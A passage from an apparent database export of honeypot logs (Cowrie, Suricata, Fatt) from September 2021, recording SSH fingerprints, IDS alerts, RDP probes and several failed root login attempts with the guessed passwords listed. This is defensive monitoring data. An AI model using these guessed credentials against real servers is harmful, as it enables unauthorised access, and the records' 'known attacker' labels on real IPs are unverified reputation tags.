["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:44.409802Z", "@timestamp": "2021-09-20T12:16:44.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36634	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 15:16:44.423615+03	2021-09-20 15:30:02.532867+03	{"_id": "WAYjA3wBvYTbRNuEHGR4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:44.423615+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187532572351, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:16:44.423615Z", "@timestamp": "2021-09-20T12:16:44.423Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36635	81.71.14.9	109.199.241.180	Suricata	2021-09-20 15:16:44.409166+03	2021-09-20 15:30:02.533869+03	{"_id": "XAYjA3wBvYTbRNuEHGR4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:16:43.852917+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 797820167324597, "payload": "AAADzAYUOkaZD1mOWZEmYkXX1P3hdQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60096, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:16:44.409166Z", "@timestamp": "2021-09-20T12:16:44.409Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......:F..Y.Y.&bE....u...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36636	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 15:16:45.059717+03	2021-09-20 15:30:02.535867+03	{"_id": "WgYjA3wBvYTbRNuEHGR4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:44.423615+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 270}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187532572351, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:16:45.059717Z", "@timestamp": "2021-09-20T12:16:45.059Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36637	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:16:23.046461+03	2021-09-20 15:30:02.536867+03	{"_id": "BQYiA3wBvYTbRNuEx2R_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 50847, "dest_port": 22, "timestamp": "2021-09-20T12:16:23.046461", "@timestamp": "2021-09-20T12:16:23.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36638	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:16:23.046687+03	2021-09-20 15:30:02.537869+03	{"_id": "BgYiA3wBvYTbRNuEyWRc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "8d2bad85e9ae", "@version": "1", "timestamp": "2021-09-20T12:16:23.046687Z", "@timestamp": "2021-09-20T12:16:23.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36639	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:16:24.11496+03	2021-09-20 15:30:02.539869+03	{"_id": "DAYiA3wBvYTbRNuEy2Sv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 50232, "dest_port": 3389, "timestamp": "2021-09-20T12:16:24.114960", "@timestamp": "2021-09-20T12:16:24.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
36640	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:16:24.487424+03	2021-09-20 15:30:02.540866+03	{"_id": "DgYiA3wBvYTbRNuEzWRE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/a147258] failed", "session": "8d2bad85e9ae", "@version": "1", "password": "a147258", "username": "root", "timestamp": "2021-09-20T12:16:24.487424Z", "@timestamp": "2021-09-20T12:16:24.487Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36641	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:16:24.15923+03	2021-09-20 15:30:02.541868+03	{"_id": "DwYiA3wBvYTbRNuEzmRP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:23.779901+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 2101898938672765, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 50232, "timestamp": "2021-09-20T12:16:24.159230Z", "@timestamp": "2021-09-20T12:16:24.159Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36642	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:16:23.046198+03	2021-09-20 15:30:02.542869+03	{"_id": "AwYiA3wBvYTbRNuExmR8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 397606523216393, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50847, "dest_port": 22, "timestamp": "2021-09-20T12:16:23.046198Z", "@timestamp": "2021-09-20T12:16:23.046Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36643	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:22.77831+03	2021-09-20 15:30:02.544868+03	{"_id": "BAYiA3wBvYTbRNuEx2R_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50847, "timestamp": "2021-09-20T12:16:22.778310", "@timestamp": "2021-09-20T12:16:22.778Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36644	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:16:24.11496+03	2021-09-20 15:30:02.545868+03	{"_id": "EwYiA3wBvYTbRNuEzmRP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:23.779901+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2101898938672765, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50232, "dest_port": 3389, "timestamp": "2021-09-20T12:16:24.114960Z", "@timestamp": "2021-09-20T12:16:24.114Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36645	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:16:24.508327+03	2021-09-20 15:30:02.547869+03	{"_id": "EAYiA3wBvYTbRNuEzmRP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:23.779901+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2101898938672765, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50232, "dest_port": 3389, "timestamp": "2021-09-20T12:16:24.508327Z", "@timestamp": "2021-09-20T12:16:24.508Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36646	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:16:25.76701+03	2021-09-20 15:30:02.548869+03	{"_id": "FAYiA3wBvYTbRNuE0WQt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/a1b2c3] failed", "session": "8d2bad85e9ae", "@version": "1", "password": "a1b2c3", "username": "root", "timestamp": "2021-09-20T12:16:25.767010Z", "@timestamp": "2021-09-20T12:16:25.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36647	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:16:27.053819+03	2021-09-20 15:30:02.549867+03	{"_id": "FgYiA3wBvYTbRNuE2GT-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/aa] failed", "session": "8d2bad85e9ae", "@version": "1", "password": "aa", "username": "root", "timestamp": "2021-09-20T12:16:27.053819Z", "@timestamp": "2021-09-20T12:16:27.053Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36648	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:16:35.657559+03	2021-09-20 15:30:02.551868+03	{"_id": "GwYiA3wBvYTbRNuE-GRD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ee691b606ef4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:16:35.657559Z", "@timestamp": "2021-09-20T12:16:35.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known 